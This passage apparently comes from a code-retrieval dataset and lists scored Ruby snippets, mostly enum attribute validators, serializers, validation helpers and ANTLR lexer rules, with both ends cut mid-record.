'PdfA2b', 'PdfA2a', 'PdfA3b', 'PdfA3a', 'PdfUa', 'PdfA2u'])\n unless validator.valid?(compliance)\n fail ArgumentError, 'invalid value for \"compliance\", must be one of #{validator.allowable_values}.'\n end\n @compliance = compliance\n end", "title": "" }, { "docid": "f26eec2ae4be71069d63afdafd26f153", "score": "0.52447504", "text": "def rewrite_enum_defaults; end", "title": "" }, { "docid": "2f3caf89293d72fac9358347684cc788", "score": "0.5230009", "text": "def allowed_values(value, pdef)\n if pdef.include?(value)\n true\n else\n \"Not an allowed value: #{pdef.join(\", \")}\"\n end\n end", "title": "" }, { "docid": "319a3a450dd9ecea8d2d82c7a2b61adb", "score": "0.5224236", "text": "def attribute_allowed?(attr)\n opts.fetch(:all_attributes, config[:all_attributes], allowed_attributes.include?(attr))\n end", "title": "" }, { "docid": "d723220910558b7a1c37d87921066b14", "score": "0.52220035", "text": "def valid?\n return false if !super\n limit_location_validator = EnumAttributeValidator.new('String', ['NotDefined', 'UnderOver', 'SubscriptSuperscript'])\n return false unless limit_location_validator.valid?(@limit_location)\n true\n end", "title": "" }, { "docid": "a5b84d23fe44fecd0d339a41afe7dcb4", "score": "0.5221673", "text": "def validate!\n if options[:required] && blank?\n raise \"'#{name}' attribute is required\"\n elsif options[:required_if]\n req_if = options[:required_if]\n if req_if.is_a?(Symbol) && (respond_to?(req_if, true) ? send(req_if) : req_if) && blank?\n raise \"'#{name}' attribute is required, because `required_if` is given (`#{req_if}`)\"\n end\n end\n\n if !value.is_a?(type)\n raise \"Value of attribute '#{name}' is not a #{type}\"\n end\n end", "title": "" }, { "docid": "6d9a7f4204ef963e52d948b0ce5dd80a", "score": "0.52203035", "text": "def error_type=(error_type)\n validator = EnumAttributeValidator.new('String', [\"INCORRECT_NUMBER_OF_COLUMNS\", \"INVALID_OBJECT_ID\", \"INVALID_ASSOCIATION_IDENTIFIER\", \"NO_OBJECT_ID_FROM_ASSOCIATION_IDENTIFIER\", \"MULTIPLE_COMPANIES_WITH_THIS_DOMAIN\", \"PROPERTY_DEFINITION_NOT_FOUND\", \"PROPERTY_VALUE_NOT_FOUND\", \"COULD_NOT_FIND_OWNER\", \"MULTIPLE_OWNERS_FOUND\", \"COULD_NOT_FIND_BUSINESS_UNIT\", \"COULD_NOT_PARSE_NUMBER\", \"COULD_NOT_PARSE_DATE\", \"COULD_NOT_PARSE_TERM\", \"OUTSIDE_VALID_TIME_RANGE\", \"OUTSIDE_VALID_TERM_RANGE\", \"COULD_NOT_PARSE_ROW\", \"INVALID_ENUMERATION_OPTION\", \"AMBIGUOUS_ENUMERATION_OPTION\", \"FAILED_VALIDATION\", \"FAILED_TO_CREATE_ASSOCIATION\", \"FILE_NOT_FOUND\", \"INVALID_COLUMN_CONFIGURATION\", \"INVALID_FILE_TYPE\", \"INVALID_SPREADSHEET\", \"INVALID_SHEET_COUNT\", \"FAILED_TO_PROCESS_OBJECT_WITH_EMPTY_PROPERTY_VALUES\", \"UNKNOWN_BAD_REQUEST\", \"GDPR_BLACKLISTED_EMAIL\", \"DUPLICATE_ASSOCIATION_ID\", \"LIMIT_EXCEEDED\", \"INVALID_ALTERNATE_ID\", \"INVALID_EMAIL\", \"INVALID_DOMAIN\", \"DUPLICATE_ROW_CONTENT\", \"INVALID_NUMBER_SIZE\", \"UNKNOWN_ERROR\", \"FAILED_TO_OPT_OUT_CONTACT\", \"INVALID_REQUIRED_PROPERTY\", \"MISSING_REQUIRED_PROPERTY\", \"DUPLICATE_ALTERNATE_ID\", \"DUPLICATE_OBJECT_ID\", \"DUPLICATE_UNIQUE_PROPERTY_VALUE\", \"BLANK_VALUE_PROVIDED\", \"UNKNOWN_ASSOCIATION_RECORD_ID\", \"INVALID_RECORD_ID\", \"DUPLICATE_RECORD_ID\", \"INVALID_CUSTOM_PROPERTY_VALIDATION\", \"CREATE_ONLY_IMPORT\", \"UPDATE_ONLY_IMPORT\", \"COLUMN_TOO_LARGE\"])\n unless validator.valid?(error_type)\n fail ArgumentError, \"invalid value for \\\"error_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @error_type = error_type\n end", "title": "" }, { "docid": "fe6b9841a175c460b83a392a86e9a4ac", "score": "0.5215364", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"allowedValues\", @allowed_values)\n writer.write_string_value(\"attributeSet\", @attribute_set)\n writer.write_string_value(\"description\", @description)\n writer.write_boolean_value(\"isCollection\", @is_collection)\n writer.write_boolean_value(\"isSearchable\", @is_searchable)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"status\", @status)\n writer.write_string_value(\"type\", @type)\n writer.write_boolean_value(\"usePreDefinedValuesOnly\", @use_pre_defined_values_only)\n end", "title": "" }, { "docid": "446494fcb3efd8f352acaca7c4a6d047", "score": "0.52149403", "text": "def create_enum(name, values); end", "title": "" }, { "docid": "79d03bfb9f000170105261083051cd19", "score": "0.52118015", "text": "def valid?\n side_validator = EnumAttributeValidator.new('String', [\"B\", \"L\"])\n return false unless side_validator.valid?(@side)\n pt_validator = EnumAttributeValidator.new('String', [\"L\", \"P\", \"MOC\"])\n return false unless pt_validator.valid?(@pt)\n ot_validator = EnumAttributeValidator.new('String', [\"L\", \"LOC\", \"MOC\"])\n return false unless ot_validator.valid?(@ot)\n status_validator = EnumAttributeValidator.new('String', [\"E\", \"EC\"])\n return false unless status_validator.valid?(@status)\n return true\n end", "title": "" }, { "docid": "9f71a66000c11a6d5f116fa9095577fa", "score": "0.5202486", "text": "def validate!\n validations.each do |v|\n value = send v[:attr_name]\n unless validate_value(value, v[:condition])\n raise ArgumentError, \"#{v[:attr_name]} validation failed, #{v[:condition]} missmatch\"\n end\n end\n end", "title": "" }, { "docid": "1e923cb61bf776a06ba32052325ed514", "score": "0.51983684", "text": "def define_enum_tests(enum_name)\n enumeration = rd_bitwise_enumerations[enum_name][:values]\n\n enumeration.each do |name, value|\n method_name = \"#{ name }?\".to_sym\n raise RuntimeError.new \"The method #{ method_name } already exists on this class.\" if respond_to? method_name\n\n define_method method_name do\n current_value = instance_variable_get \"@#{ enum_name }\"\n current_value | value == current_value\n end\n end\n end", "title": "" }, { "docid": "cc8b1fff0b0710ccdcc2397bc24114be", "score": "0.5186405", "text": "def allowed_values=(value)\n @allowed_values = value\n end", "title": "" }, { "docid": "634d57b32c5043b783dd4c8cf18001d0", "score": "0.5175521", "text": "def value_acceptable?\n self.allowed_values.blank? || self.allowed_values.include?(self.value)\n end", "title": "" }, { "docid": "c68d3dab8fc6a202b2ef083d686986af", "score": "0.5174282", "text": "def validate!\n VALID_RANGES.include?(self.value.to_i)\n end", "title": "" }, { "docid": "602f8ac854b2a536ca5e9e4cae0c354c", "score": "0.5172977", "text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['ClusteredColumn', 'StackedColumn', 'PercentsStackedColumn', 'ClusteredColumn3D', 'StackedColumn3D', 'PercentsStackedColumn3D', 'Column3D', 'ClusteredCylinder', 'StackedCylinder', 'PercentsStackedCylinder', 'Cylinder3D', 'ClusteredCone', 'StackedCone', 'PercentsStackedCone', 'Cone3D', 'ClusteredPyramid', 'StackedPyramid', 'PercentsStackedPyramid', 'Pyramid3D', 'Line', 'StackedLine', 'PercentsStackedLine', 'LineWithMarkers', 'StackedLineWithMarkers', 'PercentsStackedLineWithMarkers', 'Line3D', 'Pie', 'Pie3D', 'PieOfPie', 'ExplodedPie', 'ExplodedPie3D', 'BarOfPie', 'PercentsStackedBar', 'ClusteredBar3D', 'ClusteredBar', 'StackedBar', 'StackedBar3D', 'PercentsStackedBar3D', 'ClusteredHorizontalCylinder', 'StackedHorizontalCylinder', 'PercentsStackedHorizontalCylinder', 'ClusteredHorizontalCone', 'StackedHorizontalCone', 'PercentsStackedHorizontalCone', 'ClusteredHorizontalPyramid', 'StackedHorizontalPyramid', 'PercentsStackedHorizontalPyramid', 'Area', 'StackedArea', 'PercentsStackedArea', 'Area3D', 'StackedArea3D', 'PercentsStackedArea3D', 'ScatterWithMarkers', 'ScatterWithSmoothLinesAndMarkers', 'ScatterWithSmoothLines', 'ScatterWithStraightLinesAndMarkers', 'ScatterWithStraightLines', 'HighLowClose', 'OpenHighLowClose', 'VolumeHighLowClose', 'VolumeOpenHighLowClose', 'Surface3D', 'WireframeSurface3D', 'Contour', 'WireframeContour', 'Doughnut', 'ExplodedDoughnut', 'Bubble', 'BubbleWith3D', 'Radar', 'RadarWithMarkers', 'FilledRadar', 'SeriesOfMixedTypes', 'Treemap', 'Sunburst', 'Histogram', 'ParetoLine', 'BoxAndWhisker', 'Waterfall', 'Funnel', 'Map'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end", "title": "" }, { "docid": "a4520abf5f6d779b6fb201a1b817d260", "score": "0.5165406", "text": "def legal_annual_turn_over=(legal_annual_turn_over)\n validator = EnumAttributeValidator.new('String', ['', '0-39', '40-99', '100-249', '250-999', '1000-2999', '3000-9999', '10000-99999', '100000-*'])\n unless validator.valid?(legal_annual_turn_over)\n fail ArgumentError, 'invalid value for \"legal_annual_turn_over\", must be one of #{validator.allowable_values}.'\n end\n @legal_annual_turn_over = legal_annual_turn_over\n end", "title": "" }, { "docid": "dbedd61f66b340a99e72d5cc697d6928", "score": "0.51612365", "text": "def test_bad_value\n row = Enumeration.new\n row.color = :violet\n row.string_field = 'test'\n assert !row.save\n \n assert row.errors\n assert_equal ['is not included in the list'], row.errors['color']\n end", "title": "" }, { "docid": "19f9af10736a3af55177dd4c0d0b4c36", "score": "0.51487315", "text": "def side=(side)\n validator = EnumAttributeValidator.new('String', [\"B\", \"L\"])\n unless validator.valid?(side)\n fail ArgumentError, \"invalid value for 'side', must be one of #{validator.allowable_values}.\"\n end\n @side = side\n end", "title": "" }, { "docid": "b9a0d8742e3a4d9c8531bab0aa937aa9", "score": "0.5143194", "text": "def valid_attributes\n {\n name: \"Unlimited\"\n }\n end", "title": "" }, { "docid": "b9a0d8742e3a4d9c8531bab0aa937aa9", "score": "0.5143194", "text": "def valid_attributes\n {\n name: \"Unlimited\"\n }\n end", "title": "" }, { "docid": "4b656e823f1023cdcfc7123acf4549b9", "score": "0.5142558", "text": "def invalid_attribute_value(klass, value)\n raise ArgumentError,\n \"Declared attribute was #{klass}, received #{value}\"\n end", "title": "" }, { "docid": "728825a97d6143ec1d1ba0b555b074b4", "score": "0.5142094", "text": "def supported_attribute_types=(value)\n @supported_attribute_types = value\n end", "title": "" }, { "docid": "3166f88ed8e7b3071fc74b28818b2cf5", "score": "0.51374906", "text": "def define_writer(name, options = {})\n values = extract_values_from(options)\n format = extract_format_from(options)\n types = extract_types_from(options)\n\n define_method(\"#{name}=\") do |value|\n raise InvalidAttributeValue.new(value, values) if values && !values.include?(value)\n\n raise InvalidAttributeFormat.new(value, format) if !format.nil? && value !~ format\n\n raise InvalidAttributeType.new(value, types) if value && types && types.none? { |klass| value.is_a?(klass) }\n\n instance_variable_set(:\"@#{name}\", value)\n end\n end", "title": "" }, { "docid": "18a1aac9f6fd98fc6e91c763811a885b", "score": "0.51369256", "text": "def it_should_not_allow_values_for(attribute, *bad_values)\n message = get_options!(bad_values, :message)\n message ||= default_error_message(:invalid)\n klass = self.described_type\n bad_values.each do |v|\n describe \"doesn't allow #{attribute} to be set to #{v.inspect}\" do\n assert_bad_value(klass, attribute, v, message)\n end\n end\n end", "title": "" }, { "docid": "e1b6f0832f47b970d86ee6bbe0069165", "score": "0.5131753", "text": "def enum_values\n return if $enums.empty?\n\n filename = File.join \"#{$app_root}/app/models\", \"#{$name}.rb\"\n File.open(filename, \"r\") {|file| @lines = file.readlines; }\n\n $enums.each_with_index do |enum, index|\n @lines.each do |line|\n# if line.include?('enum') && line.include? \"#{enum}:\"\n if line.match('enum' && \"#{enum}:\")\n $enums_qty[index] = line.count(',') + 1 # Number of commas + 1\n end\n end\n end\n\n # If no enum statements found in the Model file (NOT NEEEDE now)\n if $enums_qty.empty?\n (0...$enums.count).each do |i|\n $enums_qty[i] = ENUM_DDL_THRESHOLD # All enum attributes to be listed as DDLs\n end\n end\n end", "title": "" }, { "docid": "774a366b9f69fd65cf48be53dd57842f", "score": "0.5129999", "text": "def valid_attribute?(attr_name)\n attribute_names.include?(attr_name)\n end", "title": "" }, { "docid": "477daded5fe1fcf4833feef5d28df0b8", "score": "0.5123942", "text": "def valid_attribute?(attr_name)\n attribute_names.include?(attr_name)\n end", "title": "" }, { "docid": "9e09e478ffbcd5696adbbac0de32b806", "score": "0.51167804", "text": "def check_attribute(attr)\n tag = attr.parent_tag\n\n return warning \"(Tag: #{tag.name}) \"\\\n \"Invalid Attribute '#{attr.name}'\" unless valid_attribute?(tag, attr)\n\n return warning \"(Tag: #{tag.name}, Attribute: #{attr.name})\"\\\n \" Invalid Value '#{attr.value}'\" unless self[tag.name][attr.name]\n .valid?(attr)\n\n true\n end", "title": "" }, { "docid": "184f4ffa6d25c68dad37fb2bd3c2ea24", "score": "0.5112769", "text": "def allowable_values(allowable_range)\n\t\traise RuntimeError, \"#{self.class.to_s} does not implement #allowable_values\"\n\t end", "title": "" }, { "docid": "abdee14b197eb02bfd48be4843938a8d", "score": "0.5112224", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"classification\", @classification)\n writer.write_string_value(\"permissionId\", @permission_id)\n writer.write_string_value(\"permissionName\", @permission_name)\n end", "title": "" }, { "docid": "bdb1fc5342abbce086a370e8721623a6", "score": "0.51070607", "text": "def visit_enum(binding_type)\n raise NotImplementedError\n end", "title": "" } ]
9aa6b42e18e08de79f24d0e780662b1f
Aruba unnecessarily creates new Announcer instance on each invocation
[ { "docid": "8382c42d6905f162c73d66ad5d82c672", "score": "0.6134991", "text": "def announcer\n @announcer ||= super\n end", "title": "" } ]
[ { "docid": "89fc2a1873363265c15fe70284438adc", "score": "0.5963935", "text": "def new\n @annonce = Annonce.new\n end", "title": "" }, { "docid": "52705689e1372e9d615d49f7dbc853e1", "score": "0.5695152", "text": "def instantiate!; end", "title": "" }, { "docid": "44be40ec6918349efedf5cda3ad4fe63", "score": "0.56895345", "text": "def initialize\n reset\n initialize_ai(0, 100)\n end", "title": "" }, { "docid": "a66afaba139a86a38ecc41c5344f9b7c", "score": "0.5530267", "text": "def announce; end", "title": "" }, { "docid": "0c3b3f8e9f309fb6dc04176620d492ce", "score": "0.5494698", "text": "def new *args\n instance = __actor_new *args\n instance.instance_variable_set :@audience, {}\n instance.instance_variable_set :@mailbox, Queue.new\n \n audience = {}\n audience[:before] = {}\n audience[:after] = {}\n instance.instance_variable_set :@audience, audience\n\n Thread.new do\n loop do\n mailbox = instance.instance_variable_get :@mailbox\n method_name, args, block = mailbox.pop\n \n if audience[:before][method_name]\n audience[:before][method_name].each { |callback| callback.call }\n end\n\n result = instance.method(method_name).call *args, &block\n \n if audience[:after][method_name]\n audience[:after][method_name].each { |callback| callback.yield result }\n end\n end\n end\n\n Proxy.new instance\n end", "title": "" }, { "docid": "fb23dce4b2d5fcb21d32b946d1435c59", "score": "0.54280496", "text": "def aon; end", "title": "" }, { "docid": "b88247b2b4a716c378ee2c1793c5def8", "score": "0.5381481", "text": "def example\n \"I'm an instance of A, not A itself\"\n end", "title": "" }, { "docid": "5589fc06710d6496eb07c33572487ab1", "score": "0.52718097", "text": "def new\n AwesomeObject.new(self)\n end", "title": "" }, { "docid": "5589fc06710d6496eb07c33572487ab1", "score": "0.52718097", "text": "def new\n AwesomeObject.new(self)\n end", "title": "" }, { "docid": "a0993bd78b83bb4e6afc2956044e8b4b", "score": "0.52612275", "text": "def initialize (name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @@all << self\n end", "title": "" }, { "docid": "3c9e33431e44d77eb8cf0c42c22341ad", "score": "0.52600354", "text": "def new_influencer\n end", "title": "" }, { "docid": "7283c467976e8f64784f04503b583fba", "score": "0.5243568", "text": "def enableAI _obj, _args\n \"_obj enableAI _args;\" \n end", "title": "" }, { "docid": "bff91570e9ee2fe6fb5cd3b1fb514e44", "score": "0.52298176", "text": "def create\n @announcer = Announcer.new(params[:announcer])\n\n respond_to do |format|\n if @announcer.save\n format.html { redirect_to(@announcer, :notice => 'Announcer was successfully created.') }\n format.xml { render :xml => @announcer, :status => :created, :location => @announcer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @announcer.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8dfa30b1286b735358fadd0128be660d", "score": "0.5206474", "text": "def construct\n end", "title": "" }, { "docid": "686b104dfd2c24948eddce0cc9ea9461", "score": "0.518166", "text": "def a(*args, &block)\n method_missing(:a, *args, &block)\n end", "title": "" }, { "docid": "1e6082122fc1f406334400b22226f673", "score": "0.5179538", "text": "def initialize (name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n\n @@all << self\n end", "title": "" }, { "docid": "b17cbd8a8081d1fdb9de1d5cc16bd9da", "score": "0.51487696", "text": "def initialize(ann_anime)\n\t\t@ann_anime = ann_anime\n\n\t\t# information available from detail\n\t\t@info = Hash.new\n\t\t@info[:title] = \"Main title\"\n\t\t@info[:synopsis] = \"Plot Summary\"\n\t\t@info[:num_episodes] = \"Number of episodes\"\n\t\t@info[:genres] = \"Genres\"\n\t\t@info[:themes] = \"Themes\"\n\t\t@info[:vintage] = \"Vintage\"\n\t\t@info[:op_theme] = \"Opening Theme\"\n\t\t@info[:ed_theme] = \"Ending Theme\"\n\n\t\t# create methods\n\t\t@info.each do |name, key|\n\t\t\tcreate_method(name) do \n\t\t\t\tinfo = find_info(key)\n\t\t\t\treturn nil if info.nil?\n\t\t\t\tinfo.map do |i|\n\t\t\t\t\ti.content\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend", "title": "" }, { "docid": "6a9fa844fdac326259ccea5ca11776d8", "score": "0.51328886", "text": "def alias_create(al)\n obj_create al, Alias\n end", "title": "" }, { "docid": "bbf9ad55f1ed02906c60fac522d35b42", "score": "0.5130062", "text": "def initialize(actor)\n @actor = actor \n end", "title": "" }, { "docid": "c16b923c6bd10da951309455fa29a15a", "score": "0.5115519", "text": "def adler\n\t\tend", "title": "" }, { "docid": "1e9541653db191e1b5515b897da151e3", "score": "0.51050097", "text": "def setup\n @agent = ::Instana::Backend::Agent.new\n @tracer = ::Instana::Tracer.new\n @processor = ::Instana::Processor.new\n @secrets = ::Instana::Secrets.new\n @serverless = ::Instana::Serverless.new\n end", "title": "" }, { "docid": "d1e1f0eab4ec0a18622e7caeefdf4f55", "score": "0.50912875", "text": "def method_missing(*args, &block)\n Markaby::Builder.new({}, self).capture {send(*args, &block)}\n end", "title": "" }, { "docid": "dea51092ff67bdb860d0d35699d1ff64", "score": "0.50793535", "text": "def assignAsGunner _obj, _args\n \"_obj assignAsGunner _args;\" \n end", "title": "" }, { "docid": "a419d81db6367b535a7705e8467f5b15", "score": "0.50557995", "text": "def initialize\n @analyzers = []\n end", "title": "" }, { "docid": "5aea2af662dd5ccd590d3e5c20540864", "score": "0.50506467", "text": "def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @@all << self\n @owner.dogs << self\n end", "title": "" }, { "docid": "ed4407e453fbbf7d84ab7130157a1ec7", "score": "0.50491446", "text": "def analize!\n SpinningCursor.run do\n banner \"Analyzing\".yellow\n type :dots\n \n action do\n read_configs!\n load_config!\n load_target_constants!\n load_against_constants!\n match!\n send_out!\n end\n end\n end", "title": "" }, { "docid": "3e16956d32230748b2ecebf1286dedc8", "score": "0.503206", "text": "def initialize(species, weight, nickname, zoo)\n @species = species\n @weight = weight\n @nickname = nickname\n @zoo = zoo\n @@all << self\n\n #everytime a new animal object is created, its shoveled into the Animal class\n\nend", "title": "" }, { "docid": "26ede153df91f610478eb6faeba89783", "score": "0.50176734", "text": "def adler\n\tend", "title": "" }, { "docid": "68903bd6d1616a01c6975afb63980ee8", "score": "0.50121886", "text": "def ap(object)\n puts object\n end", "title": "" }, { "docid": "27f7d015af0af7cc9ee95934caa905d6", "score": "0.49987355", "text": "def initialize (name)\n @name = name #an artist has a name\n \n @@all << self \n \nend", "title": "" }, { "docid": "57ff4110d15583f6d46ce7cac812a63c", "score": "0.4982498", "text": "def initialize(params={})\n @network = params.fetch(:network,0)\n @members = params.fetch(:members,'NA')\n @kegg_path = annotate_kegg(ids=@members) #get KEGG pathways annotation of all the members in a network\n @go_terms = annotate_GO(ids=@members) #get GO biological processes annotation of all the members in a network\n @@num += 1 #every time a network object is initialized count it\n @@all_interactions << self #add all the objects to this list\n end", "title": "" }, { "docid": "57522f124d268ea9ae66a49a0c454f60", "score": "0.49755687", "text": "def build_agent_resource(prefix, name)\n [::Hydra::AccessControls::Agent.new(::RDF::URI.new(\"#{prefix}##{::Addressable::URI.escape(name)}\"))]\n end", "title": "" }, { "docid": "65dba056d32de9c861cc379ba7a95a1d", "score": "0.49724078", "text": "def run; new.run; end", "title": "" }, { "docid": "f0ef73fd870caaff13c715ef78c57f8f", "score": "0.49656516", "text": "def run\n incubation.run\n end", "title": "" }, { "docid": "691422481a357e407444a9f2ee82944a", "score": "0.49581194", "text": "def initialize(o, name, stream)\n@o = o\n# The object we delegate to\n@n = name\n# The object name to appear in tracing messages\n@trace = stream\n# Where those tracing messages are sent\nend", "title": "" }, { "docid": "514d88fe212e7ed010ed6c711451205f", "score": "0.49559143", "text": "def agent\n @agent ||= initialize_agent\n end", "title": "" }, { "docid": "40d39bab169bef2fbdc6f0c53db6bd1f", "score": "0.49273387", "text": "def initialize\n @aliases = aliases\n @@all << self\n end", "title": "" }, { "docid": "58e11995e6d15f1db27adc821da74448", "score": "0.4926734", "text": "def apis=(_arg0); end", "title": "" }, { "docid": "c6d326a087ef588a65e36da730c78852", "score": "0.49139756", "text": "def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\" #initialize with nervous mood\n @@all << self\n self.owner.cats << self\n end", "title": "" }, { "docid": "1468fe981112ce3eb5c997bd58961fda", "score": "0.49096042", "text": "def a!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n type = A\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 347:7: 'a'\n match( 0x61 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end", "title": "" }, { "docid": "b720e17318b40fffa012ba45d69603cf", "score": "0.4909409", "text": "def agent; end", "title": "" }, { "docid": "ead52c28dc4dcf0e4a3400cc1a987ed9", "score": "0.49064744", "text": "def new\n @announcer = Announcer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "title": "" }, { "docid": "c1158549b16e505e14308174dced481b", "score": "0.48997787", "text": "def congratulations\n arter = Artii::Base.new\n puts arter.asciify(\"Congratulations!\")\n arter = Artii::Base.new\n puts arter.asciify(\"You have earned #{$wallet.wallet} spa points.\")\nend", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.48951346", "text": "def anchored; end", "title": "" }, { "docid": "0b02a24e77497197d59cc096e9e583d4", "score": "0.4895048", "text": "def run!\n Anime.create!(\n titles: titles,\n abbreviated_titles: details['synonyms'],\n subtype: subtype,\n synopsis: details['synopsis'],\n episode_length: episode_length,\n episode_count: episode_count,\n poster_image: canonical_for(anime_data['imageUrl']),\n start_date: anime_data['startDate'],\n end_date: anime_data['endDate']\n )\n end", "title": "" }, { "docid": "e834029dc5032880f45fbbce61ed7430", "score": "0.48946854", "text": "def initialize\n ori_init\n init_vars\n create_texts\n declare_signals\n agroup_components \n end", "title": "" }, { "docid": "feb0232c6d6c5a4c8010610fa3f6ffb1", "score": "0.48840758", "text": "def initialize(actor_id)\n super()\n setup(actor_id)\n end", "title": "" }, { "docid": "107f4f97dabe0936d7c215ccdf95290a", "score": "0.48840696", "text": "def aname!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n type = ANAME\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 370:8: 'name'\n match( \"name\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n end", "title": "" }, { "docid": "d55e77eb5f9f123b4e6516fc09826035", "score": "0.48782903", "text": "def announcements_list\n $tracer.trace(__method__)\n # unit_test_no_generate: announcements_list, section.className(\"/(^|\\s+)ats-announcements($|\\s+)/\"; ImpulseAnnouncementsList\n return ImpulseAnnouncementsList.new(ToolTag.new(section.className(\"/(^|\\s+)ats-announcements($|\\s+)/\"), __method__, self), self)\n end", "title": "" }, { "docid": "e8d0d5370fae62e53bc540e5bde97835", "score": "0.4867575", "text": "def a_init\nend", "title": "" }, { "docid": "30db4e5d165a6098d1aeb8f8dd7b66e8", "score": "0.48610315", "text": "def initialize() end", "title": "" }, { "docid": "f6dc47de5f3b191bf5b267d5feb32ab5", "score": "0.4860762", "text": "def initAnts(targetName, freq)\n $stderr.puts \"Initializing antennas for target=#{targetName}, freq=#{freq}\";\n puts \"Initializing antennas for target=#{targetName}, freq=#{freq}\";\n\n @targetName = targetName;\n\n puts getAntList(\",\");\n lna();\n pams($pamBand);\n focus(freq);\n setLO(\"b\", freq);\n setLO(\"c\", freq);\n createEphem(targetName);\n track(@targetName);\n autoatten();\n\n $stderr.puts \"Finished Initializing antennas for target=#{targetName}, freq=#{freq}\";\n puts \"Finished Initializing antennas for target=#{targetName}, freq=#{freq}\";\n end", "title": "" }, { "docid": "5d2d6b8b805c42d2401cf1a2dc70aecb", "score": "0.4860683", "text": "def test_new_on_self\n Automaton.new(true) do |fa|\n fa.add_state(:initial => true)\n add_state(:accepting => true)\n connect(0,1,'a')\n fa.connect(1,0,'b')\n end\n end", "title": "" }, { "docid": "e827ea63e7fa5563d0d7d1112895a2f9", "score": "0.48590562", "text": "def initialize(name)\n @name = name\n @@all << self\nend", "title": "" }, { "docid": "d5b2c651ef02f091c61a5639e05783d2", "score": "0.48582765", "text": "def initialize\n \n end", "title": "" }, { "docid": "e20cd30a787a1cdcd0072e988878f2a8", "score": "0.48533136", "text": "def aimedAtTarget _obj, _args\n \"_obj aimedAtTarget _args;\" \n end", "title": "" }, { "docid": "9ceaa5ebf65bc3523528e51bf8458508", "score": "0.48496252", "text": "def under_construction\n end", "title": "" }, { "docid": "a4bea0e38163d9812875e9d8d60868f9", "score": "0.4844246", "text": "def speak\n #useses the name variable that all GoodDog objects are assigned at creation. Different for each instance\n \"#{@name} says Arf!\"\n end", "title": "" }, { "docid": "b0acde0347a3cb40457b2e645b3f1c01", "score": "0.483849", "text": "def initialize\n puts 'A, initialize'\n end", "title": "" }, { "docid": "642d3435ac27ec749ba26385db436b72", "score": "0.48325637", "text": "def createAgent _args\n \"createAgent _args;\" \n end", "title": "" }, { "docid": "99b9aae466ea2825a9c400fb923138b4", "score": "0.48299706", "text": "def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\"\n @owner.dogs << self\n @@all << self\n end", "title": "" }, { "docid": "2dee7add51e1b6ef82f7d7354cd2f012", "score": "0.48287445", "text": "def set_annonce\n @annonce = Annonce.find(params[:id])\n end", "title": "" }, { "docid": "2dee7add51e1b6ef82f7d7354cd2f012", "score": "0.48287445", "text": "def set_annonce\n @annonce = Annonce.find(params[:id])\n end", "title": "" }, { "docid": "8d056bf8d325741050e8a1694b81ae2f", "score": "0.48208284", "text": "def initialize(name) #everytime an Artist instance is created, this method is called. Everything inside the block is its properties\n @name = name\n @songs = []\n\n @@all << self\n end", "title": "" }, { "docid": "80d44663408da6386040d6c2292c07d2", "score": "0.48181915", "text": "def initialize\n ori_init\n init_vars\n create_texts\n declare_signals\n agroup_components\n end", "title": "" }, { "docid": "3f21ca984f084ea63784f88bbfa3820a", "score": "0.4816423", "text": "def initialize(*args); end", "title": "" }, { "docid": "9c5ea0db2ee3b470b8ae5afa5c70167c", "score": "0.48162127", "text": "def initialize(o, name, stream)\n @o = o # The object we delegate to \n @n = name # The objetct name to appear in tracing messages \n @trace = stream # Where those tracing messages are sent \n end", "title": "" }, { "docid": "c8e70b12304e461724dbc273e0763f0d", "score": "0.48098654", "text": "def new\n @tactic = Tactic.new\n end", "title": "" }, { "docid": "51614f24064e77f568c052ea644a9280", "score": "0.48075113", "text": "def new(namespace, name, *args, &block); end", "title": "" }, { "docid": "0cfe19ac3af0910695b7fb2e01e302ec", "score": "0.4804155", "text": "def new_interlink(sax, author_id)\n Interlink.new.tap do |interlink|\n interlink.author_id = author_id\n interlink.synset_id = sax.synset_id\n interlink.pwn = sax.pwn\n end\nend", "title": "" }, { "docid": "7c6fb9e04fbb84e2cdaaf280511d2db8", "score": "0.4803364", "text": "def initialize_target\n end", "title": "" }, { "docid": "fdfd537ccb488c41676504d9954f20e2", "score": "0.48028797", "text": "def invocation\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n type_a = nil\n __IDENTIFIER20__ = nil\n\n begin\n # at line 952:5: calledclassbyinstance IDENTIFIER '(' ( arguments )? ')'\n @state.following.push( TOKENS_FOLLOWING_calledclassbyinstance_IN_invocation_1614 )\n calledclassbyinstance\n @state.following.pop\n __IDENTIFIER20__ = match( IDENTIFIER, TOKENS_FOLLOWING_IDENTIFIER_IN_invocation_1620 )\n # --> action\n\n \t if(@class_called.instance_methods[__IDENTIFIER20__.text].nil?)\n \t raise \"Method #{__IDENTIFIER20__.text} dont exist for instances of class #{@class_called.name} (inside #{@current_class.name}::#{@current_method.name if @current_method})\"\n \t end\n \t @method_called = 